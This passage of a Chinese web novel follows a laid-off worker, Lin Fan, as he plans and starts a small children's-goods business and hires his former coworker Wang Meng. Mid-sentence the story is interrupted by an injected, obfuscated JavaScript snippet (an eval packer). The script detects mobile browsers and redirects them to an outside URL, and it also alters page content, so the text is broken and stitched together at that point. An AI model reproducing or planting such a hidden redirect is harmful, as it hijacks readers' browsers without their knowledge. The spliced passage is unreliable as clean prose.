只够进货和去市里的车费(去市里的班车单程两块五,往返五块),多一分都不花。比如第一次进货,预算50元,哪怕看中了其他货,也不买,万一赔了,也不心疼,还能及时掉头,不影响家里的开销——他输不起,笑笑也输不起。 第三步:发展与巩固(3-12个月) 1.渠道要“稳” 跟市里1-2个批发商处好关系 ——比如玩具摊的胖刘婶、童装区的王哥。 胖刘婶的摊位在小商品市场进门第二家,挂着“刘婶玩具批零”的招牌,红底黄字,老远就能看见,她人实在,上次问磁性写字板,报的价比别家便宜两**,还说“以后多来,给你更便宜”; 王哥的童装区在市场最里面,专卖纯棉童装,货质量好,上次摸了件小衬衫,软得像婴儿的皮肤。每次进货多聊两句,递根烟(买“红梅”牌的,两块五一包,便宜,拿得出手),慢慢争取低价(比如拿得多能不能便宜一毛钱?拿十个磁性写字板,从三块三降到三块,一次就能省三块,积少成多)。 渠道稳了,货才不会断,也不会被人坑,这是做生意的“根”。 2.规模要“小” 要是赚钱了,租个小储藏室当货仓 ——不用大,十平米以内就行,能放几箱货,最好在离筒子楼三站地的“机床厂家属院”附近,那里人不熟,不会被邻居看见,省得麻烦。 不挂牌,只做熟客,外人找不到,避免被**那样的人盯上,平安最重要。 3.人要“靠谱” 看看王猛能不能帮衬 ——他是林凡以前的同事,在工厂时就老实,不爱说话,闷头干活,家里有两个孩子,下岗后靠打零工过活,日子难,经常吃了上顿没下顿。 要是他愿意,就让他帮忙看货、送货,一个月给两百块工钱,比找外人放心,也能帮他一把,互相照应,在难的时候,能有个靠谱的人搭把手,比啥都强。 4.口碑要“好” 东西质量必须过关 ——橡皮不能掉渣(上次买的一块橡皮,一擦就掉渣,孩子弄得满手都是,家长肯定不买,得选不掉渣的,擦得干净的), 衣服不能起球(纯棉的衣服要选精梳棉,洗了不起球,孩子能穿久点),玩具不能容易坏(磁性写字板的板芯要厚,不容易裂,孩子摔了也没事)。 哪怕少赚点,也不坑人,比如铅笔盒能卖五块,家长说四块五,就卖,慢慢让大家知道“凡子的东西不错,实在,不赚黑心钱”,口碑好了,生意才能长久,像树一样,根扎得深,才能长得高。 长远愿景(1-3年) 1.要“专” 从杂货摊慢慢聚焦到1-2类 ——比如高端玩具(益智类,比如积木、遥控车,家长愿意花钱,觉得能开发孩子智力,利润也高,比卖小零食赚得多) 或童装(质量好的纯棉童装,做回头客,孩子长得快,家长每年都要添新衣服,需求稳),做深做透,比什么都卖强。 比如只卖益智玩具,能了解每种玩具的特点,跟家长介绍时更专业,家长也更信任,比如积木能锻炼孩子的动手能力,遥控车能锻炼反应力,说出来家长也愿意买。 2.要“新” 试试新的生意模式 ——比如儿童玩具租赁(比如大的遥控车、积木,太贵家长舍不得买,租着玩划算,一天两块钱,一个月就能回本,还能让更多孩子玩到)、 甚至办份小的育儿小报(印点喂养知识,比如“夏天孩子怎么防中暑”“辅食怎么加有营养”,都是家长关心的,背面印自己的玩具、童装广告,免费发给家长,攒人气,让大家都知道他的店)。 3.要“远” 攒够钱, 要么入股朋友的小生意(比如以前厂里的老张开的五金店,老张实在,不耍滑头,五金店生意稳定,入股能分红,不用自己操心,还能有份稳定的收入), 要么买个小铺子(不用大,十五平米就行,能当门面,比如在小学附近,卖玩具、文具,不用再颠沛流离,不用再担心被人抢,笑笑也能有个稳定的家,能在铺子里写作业,不用再挤在筒子楼里)。 写完,林凡翻了翻笔记本,纸页被铅笔蹭得有点黑,字歪歪扭扭却一笔一划,每个字都透着认真,像刚学会写字的孩子,虽然不好看,却满是诚意。 他知道计划赶不上变化,比如刘强可能还会找事,批发商可能会涨价,进货路上可能会遇到麻烦,但这张纸像指南针,让他心里有底,知道该往哪走。 不能急,得像春雨润物,悄悄长——他小时候在农村见过,庄稼长得太快,根扎不深,一阵大风就容易倒;只有慢慢长,根扎得深,才能扛住风雨,才能结出好果子。 第二天一早,天刚亮,筒子楼里就传来了扫地的声音,王婶已经起来做早饭了。 林凡按计划行动,抱着笑笑去菜市场,手里拎着个旧网兜——那网兜是苏晚晴以前用的,边缘断了几根线,他用绳子绑了绑,还能用。 网兜里装着买好的米、油和鸡蛋——鸡蛋还特意用软纸包着,一张纸包一个,怕碰碎,这是苏晚晴以前教他的,当时她说“鸡蛋要轻拿轻放,不然碎了就吃不了了”。 刚到巷口,就遇上张婶——她头发梳得整齐,用黑色发网罩着,没掉一根碎发,围裙上沾着面粉,刚从早点摊回来,手里拎着萝卜白菜,菜叶子上还沾着泥,带着露水的湿气。 看见林凡的网兜,张婶的眼睛一亮,凑过来问: “凡子,今天不过节,买这么多米和鸡蛋,日子过顺了?” 林凡叹了口气,脸上却带着点劲,像刚找到方向的人,语气里有藏不住的踏实: “张婶,不瞒您说,昨天去市里没找到活,蹲在路边想了半天,总不能混日子。 之前卖冰棍赚了几块,就想着进点小货再试试,能多赚点是点。再苦不能苦孩子,您看笑笑瘦的,先让她吃口好的,补补身子。” 这话合情合理,张婶点点头,还伸手摸了摸笑笑的头,手上的面粉蹭到了笑笑的头发上,她笑着劝: “早该这样!踏实干,比啥都强。你看笑笑这小脸,瘦得都没肉了,是该补补。” 她没多问,反而从兜里掏出个西红柿,用围裙擦了擦——围裙上的面粉蹭在西红柿上,留下点白印,她递给笑笑: “刚在菜市场买的,沙瓤的,甜得很,给孩子吃,解解馋。” 笑笑接过西红柿,小手攥着,西红柿有点大,她得两只手捧着,抬头看林凡,眼里带着询问,像在问“能不能吃”。 林凡点点头,轻声说: “谢谢张奶奶。” 孩子的声音软乎乎的,像棉花糖,逗得张婶笑出了满脸褶子,摆摆手说: “谢啥,邻里街坊的,应该的。” 接着是“市场调研”。 林凡抱着笑笑,蹲在向阳小学门口的老槐树下——这棵老槐树有三十年树龄了,树干粗得要两个人合抱,树皮糙得像老人的手,刻着的字被风雨磨得浅了, “小明到此一游”的“游”字少了右边一点,“小红是笨蛋”的“笨”字歪歪扭扭,倒像小孩子赌气时写的。 树底下凉快,有不少等着接孩子的家长,他混在里面,像个普通的、等着接孩子的家长,眼睛却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607474|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像台扫描仪,不放过任何细节: 一个穿蓝白相间校服的小男孩,书包是军绿色的“双肩包”,带子上缝了块补丁,上面挂着“樱桃小丸子”的贴纸, 贴纸比本地小卖部卖的亮,边角还带着闪粉,小男孩跑的时候,贴纸跟着跳,像只小蝴蝶,引得旁边穿碎花裙的小姑娘盯着看,手里的棉花糖都忘了咬,糖汁滴在手上都没察觉; 三个扎马尾的女孩围在一起喝“娃哈哈AD钙奶”,红色的吸管包装,瓶身印着圆脸蛋的卡通娃娃,她们你一口我一口,喝得欢,喝完还把空瓶子攥在手里,舍不得扔,其中一个女孩说 “我要把瓶子留着,装小石子”; 一个扎羊角辫的小姑娘,头上别着个塑料发卡,只有红、粉两种颜色,发卡上的小塑料花还掉了一片,她却宝贝得不行,时不时用手摸一下,怕再掉了,哭着跟妈妈说 “这是我最喜欢的发卡,掉了就没了”; 有个穿碎花衬衫的妈妈,手里拿着双“回力”牌的黑皮鞋,鞋尖有点磨白了,跟旁边的人抱怨: “这鞋才给孩子买一个月,就裂了缝,孩子说脚闷得慌,扔了可惜,补了又不好看,真是浪费钱,要是有舒服点的鞋就好了”; 一个小贩推着二八大杠自行车,后座绑着个铁皮箱,箱子上写着“彩色泡泡糖”,红漆都掉了,卖的是草莓味的,吹得比拳头大,五分钱一块,围了一群孩子,没一会儿就卖了大半箱,小贩笑得合不拢嘴,手里的钱都攥不过来。 这些细节,他都记在心里,像存进一本看不见的“生意账”——贴纸要亮的、带闪粉的;AD钙奶能进点,孩子爱喝; 发卡要款式多的,别再掉花瓣;泡泡糖卖得快但利润薄,暂时不考虑……每一笔都记牢,生怕漏了。 几天后,林凡揣着五十块钱,去了市区的小商品批发市场。 市场里人声鼎沸,铁皮棚子被太阳晒得发烫,空气里混着汗味、糖精味、塑料玩具的味道,还有商贩们扯着嗓子的吆喝, “批发价!错过今天等半年!” “新款玩具,全县独一份!孩子见了都想要!” 的声音撞在棚子上,又弹回来,裹着热气往人耳朵里钻。地面淌着水渍,混着菜叶子和塑料袋,踩上去有点滑,他走得小心,怕摔了,怀里的钱不能有闪失。 林凡像块海绵,扎进儿童区,挨个摊位转,眼睛都亮了——这里的东西比县里的多,也好看,笑笑肯定喜欢: 玩具摊前,胖刘婶正用算盘算账,“噼里啪啦”响得飞快,比旁边卖糖葫芦的吆喝还响。 林凡拿起个小号的磁性写字板,黑色的板芯,白色的笔,笔在上面画了道线,一擦就干净,不留痕迹,板芯厚得很,摔在手里沉甸甸的。 “婶,这写字板咋批?” “3块5一个,拿5个以上3块3。” 胖刘婶抬头看他,脸上堆着笑,眼角的褶子都挤在了一起: “你拿这个?好卖!昨天刚走了两箱,都是给孩子买的,家长说能开发智力,孩子也喜欢,能玩一下午。” 林凡没多犹豫,拿了5个,算下来16块5,他数了钱递过去,胖刘婶接过钱,还给他塞了个小塑料玩具, “下次再来啊,给你留好货。” 文具摊的老板是个瘦老头,戴着老花镜,镜片厚得像啤酒瓶底,桌上摆着堆橡皮、铅笔、笔记本,都用塑料袋装着,怕落灰。 林凡拿起块草莓味的橡皮,闻着甜丝丝的,像真的草莓,橡皮上还印着小鸭子图案,可爱得很。 “大爷,这橡皮咋批?” “2毛钱一块,拿20块1**8。” 老头声音有点哑,像被砂纸磨过,还指了指旁边的铅笔盒: “印小燕子的铅笔盒,2块一个,拿4个算7块5,划算,这几天卖得好,好多家长来买。” 林凡选了草莓味和橘子味的橡皮各10块,又拿了4个印小燕子的铅笔盒,花了3块6+7块5=11块1,老头还帮他装在个小袋子里, “小心点,别压坏了。” 童装区的王哥正整理衣服,货架上挂满了各种颜色的童装,红的、粉的、蓝的,像一片小花海。 林凡拿起件粉色的连衣裙,纯棉的料子,摸着手软得像云朵,比本地卖的粗布软多了,领口还包了边,不磨脖子。 “哥,这裙子咋批?” “8块一件,拿两件15,给你省1块。” 王哥笑着说,还拿起裙子给林凡看,手指捏着领口: “这是市里百货大楼的货,县里没有,孩子穿得舒服,洗了也不起球,我家侄女就穿这个,都说好。” 林凡拿了两件粉色的,花了15块,王哥还跟他说: “下次来提前说,给你留新款式。” 他算了又算,总共花了16块5+11块1+15块=42块6,不到50块,比预算还省了7块4。 他用个黑色的旧书包装好货,书包里还混着给笑笑买的两个苹果——挑的红通通的,擦得干干净净,花了3块钱,不显山不露水地踏上回县的班车。 班车里人多,挤得很,他把书包抱在怀里,怕被人挤坏了,那是他的“希望”。 傍晚,林凡没直接回家,而是去了“机床厂家属院”——离筒子楼三站地,里面住的都是机床厂的职工,工资稳定,比筒子楼的人手头宽裕,而且人不熟,不容易暴露,安全。 他找了个路灯下的角落,那是盏老式的水银灯,有点晃,灯光照在地上像泼了层淡墨,光晕里飘着飞虫,围着灯转圈圈,却正好照在书包口。 他把书包打开个小口,露出连衣裙的粉色花布,那点粉色在昏光里很显眼,没吆喝,就抱着笑笑坐在台阶上,等着有人来问 ——他知道,好货不用喊,孩子看见了自然会来,就像蜜蜂会找花一样。 没等五分钟,一个穿碎花衬衫的妈妈就领着个小女孩过来了。 小女孩扎着马尾,用红色皮筋绑着,皮筋上还挂着个小铃铛,一走就“叮铃”响,穿着白色小褂,拽着妈妈的衣角晃: “妈妈!妈妈!你看!小燕子的裙子!” 她指着书包里的连衣裙,眼睛亮得像浸了水的星星,小手还想去摸,又赶紧缩回来,怕把花摸掉了,小嘴巴抿着,满是期待。 她妈妈走过来,弯腰拿起裙子,指尖摸了摸料子,又翻过来看看针脚——针脚细密,没有线头,料子也软乎乎的,比她上次买的粗布裙子好多了。 “这裙子多少钱?” 妈妈问,声音里带着点犹豫,手还捏着裙子的下摆,舍不得放下。 “十五块。” 林凡笑着说,声音放得软,怕吓着孩子,还指了指笑笑, “我家孩子也穿这种,舒服。” “十五块?有点贵啊。” 女人皱了皱眉,还看了看女儿,眼里满是纠结: “孩子长得快,穿不了多久就小了,不值当。” 林凡没急着反驳,只是指了指裙子的领口,语气诚恳: “大姐,您看这领口,包边的,孩子穿的时候不磨脖子,不会疼;料子是纯棉的,夏天穿得透气,不闷汗,孩子穿得舒服,不会长痱子。 这是市里百货大楼的货,您要是去市里买,至少得二十块,我这比市里便宜五块,还省了车费,多划算。” 女人又摸了摸料子,确实比本地卖的粗布舒服,而且女儿眼巴巴地看着裙子,小手紧紧攥着她的衣角,嘴里还小声说: “妈妈,我想要……我会爱惜的,穿很久。” 女人叹了口气,脸上的纠结慢慢散了,讨价还价: “十四块,行不?我下次还来买,再帮你问问邻居,让她们也来买。” “行。” 林凡点头,接过钱——是两张五块、四张一块,带着点体温,还沾着点菜叶子的碎渣,这是他赚的第一笔钱,攥在手里,暖得发烫。开张了! 接着,一个穿蓝色衬衫的爸爸领着个小男孩过来。小男孩穿着运动裤,裤脚卷了起来,手里拿着个弹弓,看见书包里的磁性写字板,眼睛就挪不开了,悄悄把弹弓放进了口袋,脚步也慢了下来,拽着爸爸的手往这边拉。 爸爸拿起写字板,用笔画了个“1”,一擦就没了,笑着说: “这玩意儿好,给娃开发智力,还省纸,不用总在墙上画,家里的墙都被他画花了。多少钱?” “八块,不贵,您给孩子买一个,他能玩好久。” 林凡说,还让笑笑试了试,笑笑拿着笔,在上面画了个小圆圈,笑得开心。爸爸没还价,从口袋里掏出一张十块的,递给林凡: “不用找了,下次有好货再给我留着。” 林凡还是找了两块钱,笑着说: “该多少是多少,谢谢您照顾,下次有新的我给您留着。” 还有个头发花白的奶奶,拄着拐杖,拐杖头都磨亮了,领着个小男孩过来。小男孩手里拿着个变形金刚,零件都掉了一个,看起来有点旧了,却还攥着不放。 奶奶拿起印着小燕子的铅笔盒,眯着眼睛看了看,还凑到灯底下, “这是《还珠格格》里的小燕子吧? 我家孙子天天看这个电视,就喜欢小燕子,昨天还说想要个小燕子的东西。多少钱?” “五块。” 林凡说,声音放得更软,怕奶奶听不见。奶奶讨价: “四块五,行不?我孙子明天过生日,就当给他的生日礼物了,老婆子没多少钱,体谅体谅。” 林凡也应了 ——能卖就卖,不恋战,赚个人情比多赚五毛钱强,奶奶不容易,孩子过生日也该有个礼物。 不到一小时,货卖了大半: 2个写字板(16元)、1个铅笔盒(4.5元)、1件连衣裙(14元),总共收入34.5元,快收回成本了。剩下的1块橡皮、2个铅笔盒、1个写字板, 他没再等,收拾书包就走——见好就收,夜长梦多,万一遇到熟人或者刘强的人,就麻烦了,安全第一。 回家的路上,笑笑趴在他怀里,手里攥着个苹果,啃得满脸都是汁,苹果汁顺着下巴流到衣服上,她也不在意,小嘴巴还在嚼着,眼里满是满足。 林凡低头看女儿,心里的暖,比路灯的光还亮——这第一步,总算走稳了,像刚学走路的孩子,虽然慢,却没摔,还往前迈了步。 晚上,哄睡笑笑后,林凡坐在灯下,在笔记本上记录: “磁性写字板最好卖(家长认‘益智’,愿意花钱,下次多进点),连衣裙贵但质量好(有人买,下次可以多拿两件,粉色受欢迎),橡皮便宜但问的人少(下次少进,只拿10块,选两种味道就行)。” 他在“益智”两个字下面画了个小勾,笔尖划过纸页,眼神亮着光——这条路,走对了,他没选错。 蓝图的第一个点,终于亮了。 这只是一小步,却踩得踏实,像种下的第一颗种子,在土里扎了根,不会被风轻易吹倒。 灯光下,笑笑睡得香,小脸红扑扑的,像个熟透的苹果,手里还攥着个苹果核,苹果核上还沾着点果肉,嘴角带着浅浅的笑,大概是梦见又吃苹果了,小鼻子轻轻动了动,像只刚吃饱的小猫。 林凡摸了摸女儿的头, 指尖能感受到她温热的体温,心里清楚: 希望的萌芽,已经在现实的土里,悄悄破土了。 他要做的,就是好好呵护 ——像照顾庄稼一样,浇水、施肥,不着急, 等它慢慢长成大树,能为笑笑遮风挡雨, 能给她一个安稳的家, 一个不用再怕被人欺负、 不用再担心吃不饱的家。 第九章:王猛的抉择 试水成功的喜悦像杯温黄酒,在林凡心里暖了两天 ——那是上周在汽车站门口,他揣着仅有的五十块进货钱,进了十个磁性写字板,蹲在树荫下守了一整天,竟卖出六个。 三块钱的成本,八块钱卖出,刨去来回两毛钱的公交费,净赚二十七块。 这笔钱够他和笑笑买十天的米面,还能给孩子添个白面馒头当零食。 可这份喜悦没让他飘起来,夜里哄睡笑笑时,孩子梦里嘟囔的“想吃肉”,像根细针,扎得他不敢懈怠。 等笑笑的呼吸变得均匀,林凡搬了张木凳,坐在昏黄的钨丝灯下翻笔记本。 十五瓦的灯泡昏昏沉沉,把他的影子拉得老长,映在斑驳的墙面上。 笔尖在“需要帮手”四个字上反复画圈,墨迹晕开,像他此刻纠结的心思 ——流动摊贩就像无根的草,晴天要晒得脱皮,雨天要淋得透湿,更要命的是没个照应。 前几天在汽车站,街溜子**带着两个人过来,说“地盘费”一天一块,他不给,**就伸手推了他一把,还差点把笑笑的小皮球扔到马路上。 若不是当时有个卖菜的大爷过来劝,指不定要闹成什么样。 “要站稳脚跟,得有个扎在地上的据点,更得有个能托付后背的伙伴。” 林凡对着笔记本小声嘀咕,思绪像藤蔓似的,第一时间缠上了王猛。 那个前工友生得高壮,一米八五的个子,胳膊上的肌肉块子绷得紧实——那是在机械厂时,常年拧M16螺丝练出来的。 最要紧的是王猛憨直,认死理,只要把你当兄弟,就肯掏心掏肺。 林凡还记得,三年前在车间,他操作车床时走神,手指差点被卡进齿轮,是王猛眼疾手快,一把拽住他的手腕,自己却被机器带起的铁屑划了道口子,鲜血直流。 事后王猛还替他瞒着车间主任,说“是我没提醒他”,硬生生扛下了扣半个月奖金的处罚。 可下岗后的王猛,日子比林凡还苦。 机械厂破产后,他没手艺,只能靠力气吃饭——蹬三轮拉货,一天挣个十块八块;去工地搬砖,扛一袋五十斤的水泥才给两毛钱。 去年冬天,他给建材店搬钢材,脚下一滑,三百斤的钢管砸在腿上,落下个阴雨天就疼的病根。 从那以后,重活干不了,只能靠修修补补的三轮拉点轻货,勉强糊口。 林凡上次在菜市场碰到他,见他穿着洗得发白的旧工装,袖口磨破了边,手里攥着两个馒头,说“给孩子当晚饭”,那模样,看得林凡心里发酸。 “拉他一把,既是念旧情,也是为自己找个放心的臂膀。” 林凡合上书,心里拿定了主意。 这天下午,林凡没去汽车站“游击”卖货,特意绕到城南的菜市场。 刚到巷口,卤味摊飘来的油香就勾着人的鼻子——肥腻的猪头肉躺在搪瓷盘里,裹着深褐色的卤汁,泛着油亮的光,连盘边的碎末都让人想舔一舔。 林凡咬咬牙,割了半斤,八毛钱一斤,花了四**。 老板知道他带孩子不容易,用油纸包了三层,还特意从锅里舀了勺卤汁淋在里面,笑着说 “给孩子拌米饭香”。 接着,他又在拐角的小卖部买了瓶本地啤酒——玻璃瓶上的标签皱巴巴的,印着“县啤酒厂出品”,五毛钱一瓶,是最便宜的款。 最后在菜摊前,他挑了两根顶花带刺的黄瓜,一毛钱两根,还带着刚从地里**的泥土气。 把这些东西裹在布包里,他抱着笑笑,慢慢往王猛家走。 王猛家在筒子楼的最西头,比林凡家还破。 楼道里没灯,白天都得摸着墙走,墙上满是孩子画的涂鸦,还有“水电欠费”的通知单,风吹得纸片哗哗响。 到了门口,林凡一眼就看见门框掉了块漆,露出里面发潮的木头,门虚掩着,缝里飘出淡淡的机油味,还夹杂着孩子的哭闹声—— “我要吃饼干!我要吃饼干!” 那声音又细又尖,像根针,戳得人心慌。 林凡敲了敲门,里面传来粗声粗气的应答: “谁啊?门没锁!” 推开门,一股混杂着机油、汗味和霉味的气息扑面而来。 王猛正蹲在地上,对着辆破三轮发脾气。 那三轮的车胎瘪得像张晒干的纸,轮毂锈得发黑,连辐条都断了两根,车座上的海绵露出来,沾满了油污。 王猛手里攥着块橡胶补丁,满手油泥蹭得藏青色裤子上都是黑印,指节因为用力而泛白,指尖还沾着点血丝 ——刚才补胎时被铁皮划到了,他没当回事,就用嘴舔了舔。 看到林凡,王猛愣了愣,目光先是落在他怀里的笑笑身上,随即就被布包里露出来的油纸吸引,喉咙不自觉地滚了滚,连发脾气的劲都泄了: “凡子?你……你这是干啥?还带东西来。” “来跟你喝两杯,说点事。” 林凡笑了笑,把东西放在屋里唯一的方桌上。 那桌子桌面裂着道斜缝,用透明胶带粘了又粘,还铺着张1997年的旧报纸,上面印着世界杯的球赛新闻,边角都卷了边。 他把笑笑放在床边,从口袋里掏出个磨掉漆的小皮球——还是上次在汽车站捡的,洗干净了给笑笑玩的——递过去: “笑笑乖,先玩会儿,爸爸跟王叔叔说说话。” 王猛挠了挠头,头发上还沾着点机油,没从惊讶里缓过来,指着破三轮叹气: “别提了!这破胎又扎了,补了三次都漏,橡胶都补得比胎厚了!今天一天就拉了一趟活,挣了五块钱,还倒贴了五毛钱补胎钱!” 他越说越激动,拳头“咚”地砸在车座上,车座的破海绵都被砸得露出来更多, “家里孩子哭着要饼干,我去小卖部看了,最便宜的饼干也要八毛钱一包,我都没敢买……这日子,**要熬不下去了!” 林凡没接话,拆开油纸包 ——猪头肉的卤香瞬间漫满了小屋子,连哭闹的孩子都停了声,从里屋探出头,睁着圆溜溜的眼睛往这边看,口水都快流出来了。 王猛的老婆也掀开布帘走出来,她脸色苍白,嘴唇有点发紫,咳嗽了两声,声音断断续续: “凡子来了……快坐,我去烧点水。” 林凡连忙说“不用麻烦”,可她还是端了个缺了口的搪瓷杯过来,倒了杯温水放在桌上。 林凡用牙咬住啤酒瓶盖,“嘭”的一声脆响,泡沫冒了出来,溅在报纸上。 他递了一瓶给王猛: “先喝点,垫垫肚子再说,别跟自己较劲。” 王猛盯着酒肉,又看看林凡,眼神复杂得像揉皱的报纸 ——有渴望,有疑惑,还有点不安。 他下岗后,除了家里人,很少有人愿意主动跟他来往,更别说带酒肉上门了。 他接过啤酒,狠狠灌了一大口,泡沫顺着嘴角往下淌,滴在报纸上,晕开一小片湿痕。又抓起一块肥腻的猪头肉塞进嘴里,嚼得满嘴油光,含糊不清地问: “凡子,你……你最近好像不一样了? 前几天听张婶说,你在汽车站捣鼓小买卖,还行?” “混口饭吃呗,总不能饿着孩子。” 林凡自己也喝了口酒,酒液辣得喉咙发暖,顺着食道往下淌,驱散了些许凉意, “猛子,我今天来,是想跟你商量个事儿——我想弄个固定的小摊,卖点小孩用的东西,像磁性写字板、铅笔盒这些,一个人忙不过来,想请你过来帮我。” “帮你?” 王猛猛地放下手里的肉,油汁滴在报纸上,晕开小小的油印。他脸上写满了难以置信,眉头皱得紧紧的,还带着点警惕, “帮你看摊?我……我没你那脑子啊!算账都算不清,上次给人拉货,人家给了十块,我该找三块,结果多找了两块,回家被我老婆骂了一顿! 而且你有本钱吗? 租摊位、进货,哪样不要钱?” 他下意识地往后缩了缩 ——去年有个下岗工友,拉着他一起“倒腾”电子表,说是“一本万利”,结果后来才知道是假货,被工商的人抓了,罚了好几百。 从那以后,王猛对“小买卖”就有点犯怵,怕林凡也拉他干投机倒把的事。 林凡理解他的顾虑,语气放得更平和,像跟老兄弟聊天似的: “本钱我有一点,前几天去市里,碰上个远房表哥 ——就是以前在机械厂给咱们修过机器的那个,你还记得不? 他知道我带着孩子难,借了我五百块。” 他再次搬出“亲戚”这个万能借口,既合理,又不会引人深究, “不多,但租个小地方、进点货够了。 地方我都看好了,就在机械厂老家属区那边,靠墙根有个废弃的自行车棚,我跟街道的李主任说了 ——就是上次你腿受伤,帮你办低保的那个李主任 ——他说一个月三十块就能租给我,水电都不用额外掏钱,就接旁边小卖部的电,一个月给五块钱就行。” 他顿了顿,目光落在王猛攥着啤酒瓶的手上 ——刚才还紧绷的指节,此刻松了点,眼神里的警惕也淡了些。 林凡继续说: “你不用出钱,就出力。 平时帮我看摊、搬货,我去市里进货的时候,你就照看着摊子和笑笑。 一个月,我先给你开一百二十块,管中午一顿饭,顿顿有菜,偶尔还能有肉 ——就像今天这样的猪头肉,咱们能一起吃。 以后生意好了,再涨工资,咱们也能像以前在厂里那样,有个盼头,不用天天愁下一顿饭。” “一……一百二?!” 王猛的音量突然拔高,像被开水烫到似的,眼睛瞪得像铜铃,嘴里没咽下去的肉差点噎住。 他咳了两声,手使劲拍着胸口,不敢相信地追问, “还管饭?凡子,你没喝多吧?现在县城里,能进工厂的好工种,一个月也就三百块,还得有关系才能进去! 我蹬三轮累死累活,刨去修车的钱、吃饭的钱,一个月能落下一百块就烧高香了!你让我看个摊,就给一百二?” 王猛说的是实情。 林凡早就打听好了——县城里的体力劳动者,像搬砖、拉货的,平均月薪也就八十到一百块,管饭的更是少之又少。 他定一百二,就是比平均水平高一点,既能让王猛心动,又没超出“小本生意雇人”的合理范围,免得街坊邻居起疑,说他“赚了大钱”。 “我没开玩笑。” 林凡表情认真,指尖敲了敲桌面,旧报纸发出“沙沙”的轻响,“生意刚起步,可能辛苦点 ——早上得早起,七点就得开门,晚上得等孩子放学,六点才能关店。 但我觉得能干成,上次在汽车站,一天就卖了六个写字板,好多家长都问有没有别的小孩用的东西。 猛子,你就说,干不干?” 王猛看着林凡清澈又笃定的眼神,又扫了眼床边乖乖玩球的笑笑 ——孩子穿着洗得发白的碎花衫,领口缝了块补丁,却干干净净,小辫子扎得整整齐齐,不像自己家孩子,衣服上总沾着油污。 他再想想自己那辆修不好的破三轮,想想家里孩子哭着要饼干的样子,想想老婆半夜偷偷抹眼泪、怕药钱不够的模样,一股劲突然从心里涌上来,像烧滚的开水,烫得他眼眶发热。 他猛地一拍大腿,桌子都震了震,啤酒瓶晃了晃,差点倒了。 “干!傻子才不干!” 王猛的声音带着点哽咽, “凡子,你看得起我王猛,没嫌我腿不好、脑子笨,我这条膀子就卖给你了! 以后你动脑子算账、进货,出力气的活儿全归我——搬货、看摊、打扫卫生,保证不出错! 谁要是敢来**,我第一个跟他急!” 他激动得脸都红了,抓起啤酒瓶又灌了一大口,酒液洒在衣襟上也不在意,用袖子胡乱擦了擦。林凡笑了,伸出手: “好!那咱们就搭伙干,有钱一起赚,有饭一起吃!” 两只手紧紧握在一起——林凡的手因为最近算账、进货,指腹磨出了新的薄茧,掌心还带着点油墨的痕迹; 王猛的手则满是老茧,掌心沾着机油味,粗糙得像砂纸,指关节上还有没愈合的小伤口。 曾经在同一个车间拧螺丝、一起吃食堂、一起在宿舍聊天的两个人,此刻又有了新的联结,像两截断了的木头,被一颗钉子牢牢钉在了一起,再也分不开。 接下来的三天,两人忙得脚不沾地,连喝口水的功夫都少。 那间废弃的自行车棚紧靠着机械厂家属区的红砖墙,墙皮剥落得厉害,露出里面的青砖,砖缝里还长着点野草。 石棉瓦顶破了好几块,风一吹就“哗啦哗啦”响,像个老人在叹气。 王猛从废品站挑了两块最厚的旧塑料布,洗了三遍,直到没了异味,才踩着摇晃的木凳爬上爬下。 他怕塑料布被风吹跑,特意用钉子钉得牢牢的,还在边缘压了块沉甸甸的青砖——那是他从楼下捡的,洗干净了,压在塑料布上正好。 林凡则去建材店买了钉子、合页,还砍了价——本来五毛钱一斤的钉子,他软磨硬泡,花四**五就拿下了。 两人叮叮当当敲了一天,用捡来的旧木板隔出个小储物间,又做了个带挡板的窗口——挡板是块从旧货市场淘来的旧门板改的,林凡刷了层蓝漆,虽然颜色不均匀,却看着亮堂。 晚上把挡板锁上,就是个严实的小铺子,不用担心丢东西。 林凡还去旧货市场淘了个玻璃面柜台。 那柜台的柜面有点划痕,老板要二十块,林凡跟他聊了半天,说自己是下岗工人,带着孩子不容易,最后十五块就买下来了。 他还让老板帮忙搬到三轮车上,省了不少力气。 回到棚子,林凡用抹布蘸着肥皂水擦了三遍,把柜面擦得锃亮,能映出人影。 又买了两个小马扎,蓝色的塑料面,坐着舒服,才花了三块钱。 最关键的招牌,林凡没敢做得显眼——他怕太招摇,引来不必要的麻烦。 只找了块平整的三合板,用毛笔工工整整写了“笑笑宝贝屋”五个字,字体不大,还特意用墨调得淡了点,挂在棚子入口上方。 那招牌混在周围的旧墙和爬山虎里,毫不起眼,像本来就长在那儿似的。 进货时,林凡的胆子大了些——有王猛帮忙搬货,不用再担心拿不动。 他除了补购之前好卖的磁性写字板(成本三块,卖八块)、《还珠格格》铅笔盒(成本两块,卖六块),还进了质量好的纯棉儿童袜子 ——一包十双,有粉、蓝、白三种颜色,针脚细密,成本五**一双,打算卖一块五。还有印着小熊图案的手帕,边角缝了花边,不容易破,成本三毛,卖一块。 最后,他还试探性地拿了一箱“娃哈哈AD钙奶”。 那纸箱上印着笑脸娃娃,在当时算是高端饮品——县城里只有百货大楼有卖,一块二一瓶,寻常家长都舍不得给孩子买,觉得“太贵,不如买袋五毛钱的奶粉实在”。 林凡之所以敢进,是因为上次在汽车站,有个宝妈说“要是有AD钙奶,愿意多花点钱给孩子买,孩子总跟同学念叨”。 他咬咬牙,进了一箱(二十四瓶),成本八**一瓶,打算卖一块二,跟百货大楼一个价。 前后算下来,启动资金投了将近三百元——柜台十五、木板钉子十块、进货两百六十块,还有给李主任的三十块租金,几乎是他手里所有流动资金的一多半。 掏钱时,他手指都有点抖——这是他和笑笑的“家底”,要是赔了,娘俩连饭都吃不上。 可看着王猛认真搬木板、擦柜台的样子,他又觉得值——这是他迈出“稳定”的第一步,是从“飘着”到“扎下”的开始。 开业那天,没放鞭炮,没喊口号,连块“开业大吉”的红布都没挂。 